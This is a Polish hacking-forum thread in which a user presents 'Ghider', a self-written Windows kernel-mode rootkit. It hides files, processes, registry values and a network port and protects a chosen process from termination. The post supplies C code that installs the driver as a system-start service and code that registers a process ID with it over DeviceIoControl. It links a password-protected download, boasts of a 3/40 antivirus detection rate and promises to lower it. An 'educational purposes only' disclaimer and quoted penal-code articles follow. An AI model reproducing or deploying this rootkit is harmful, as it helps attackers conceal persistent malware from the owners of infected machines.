Ghider by Grzonu

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Ghider ver. 1.0

Ostatnio napisalem rootkita i chcialbym go tu przedstawic.
Jest to sterownik ukrywajacy plik i proces,klucz w rejestrze,port komunikacyjny a takze chroniacy proces przed zabiciem.
Do jego zainstalowania mozemy uzyc kodu podanego nizej:
Kod:
SC_HANDLE sh = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
SC_HANDLE rh=CreateService(sh,"ROOTKIT","ROOTKIT",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_SYSTEM_START,SERVICE_ERROR
_NORMAL,"sciezka do sterownika",NULL,NULL,NULL,NULL,NULL);
if(!rh)
{
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
rh= OpenService(sh,"ROOTKIT",SERVICE_ALL_ACCESS);
}
}
else
{
if(StartService(rh,0,NULL)==0)
{
if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
MessageBox(0,"sterownik juz jest zainstalowany",0,0);
}
}

}
//usuwanie sterownika
MessageBox(0,"po nacisnieciu OK usune sterownik",0,0);
SERVICE_STATUS stat;
if(ControlService(rh,SERVICE_CONTROL_STOP,&stat)!=0)
{
MessageBox(0,"zatrzymano",0,0);
}
if(DeleteService(rh)!=0)
{
MessageBox(0,"usunieto",0,0);
}

CloseServiceHandle(sh);
CloseServiceHandle(rh);

Oczywiscie nie musimy usuwac sterownika
smile.gif
ale dla latwosci testow podalem tez kod jak usunac sterownik.

Możemy też użyć do testów programu do instalacji i usuwania sterownika LINK

Aby sterownik ukrywal pliki i procesy,wartosci w rejestrze musi wiedziec jak sie nazywaja. Odzczytuje w tym celu klucz HKEY_LOCAL_MACHINE\Software\KernelLoader. Nazwa(bez rozszerzenia) jest zapisana w wartosci Hide. Musimy taki klucz utworzyc przed instalacja sterownika w innym przypadku bedzie uzyta domyslna wartosc czyli Ghider. Czyli np. jesli podamy tu jako zazwe "app" to zostana ukryte wszystkie pliki ktorych nazwa zaczyna sie na app,wszystkie procesy ktorych nazwa zaczyna sie na app i wartosci w rejestrze o nazwie app.
Dodatkowo tworzac wartosc Port o typie DWORD mozemy wskazac port ktory ma byc ukryty(m.in w netstat) domyslny port to 8074

Aby chronic proces przez zabiciem musimy wyslac do niego id procesu ktore mozemy pobrac np. przez GetCurrentProcessId() jesli chcemy pobrac Id wlasnego procesu. Wysylamy to do sterownika w sposob nastepujacy:

Kod:
HANDLE hFile=CreateFileW(L"\\\\.\\KernelLoader",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    DWORD id=GetCurrentProcessId();
    char proc[10];
    sprintf(proc,"%d",id);
    DWORD BytesReturned;

char *bufor = new char[255];

bool b=DeviceIoControl(hFile,0x313377,proc,strlen(proc),bufor, 255,&BytesReturned,0); 
/*
sterownik nie nie "odpisuje" wiec bufor bedzie pusty
kod ktory wysylamy to 0x313377
id procesu jest w tablicy proc
*/
if(!b)
{
MessageBox(0,"nie udalo sie wyslac komunikatu do sterownika",0,0);
}


To tyle mam nadzieje że rootkit się komuś przyda. W przyszlości mozna oczekiwać uaktualnien.

Wykrywalnosc: na dzien dziejszy 3/40
Authentium 5.1.2.4 2009.04.04 W32/SYStroj.N.gen!Eldorado
F-Prot 4.4.4.56 2009.04.03 W32/SYStroj.N.gen!Eldorado
NOD32 3988 2009.04.04 probably unknown NewHeur_PE

Postaram sie zbić wykrywalność i zaaktualizuje plik

LINK
haslo: grzonu

Autor nie ponosi żadnej odpowiedzialnosci za wykozystanie w/w programu do celów niezgodnych z prawem
Program powstał wyłącznie w celach edukacyjnych
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
jakis paragraf się zawsze znajdzie
smile.gif


Art. 269. § 1. Kto, na komputerowym nośniku informacji, niszczy, uszkadza, usuwa lub zmienia zapis o szczególnym znaczeniu dla obronności kraju, bezpieczeństwa w komunikacji, funkcjonowania administracji rządowej, innego organu państwowego lub administracji samorządowej albo zakłóca lub uniemożliwia automatyczne gromadzenie lub przekazywanie takich informacji,
podlega karze pozbawienia wolności od 6 miesięcy do lat 8.

Art. 287. § 1. Kto, w celu osiągnięcia korzyści majątkowej lub wyrządzenia innej osobie szkody, bez upoważnienia, wpływa na automatyczne przetwarzanie, gromadzenie lub przesyłanie informacji lub zmienia, usuwa albo wprowadza nowy zapis na komputerowym nośniku informacji,
podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
§ 2. W wypadku mniejszej wagi, sprawca
podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do roku.
§ 3. Jeżeli oszustwo popełniono na szkodę osoby najbliższej, ściganie następuje na wniosek pokrzywdzonego.

skad wiesz gdzie sie on znajdzie
<


//EDIT dodalem ukrywanie kluczy w rejestrze i ukrywanie portow
 
Do góry Bottom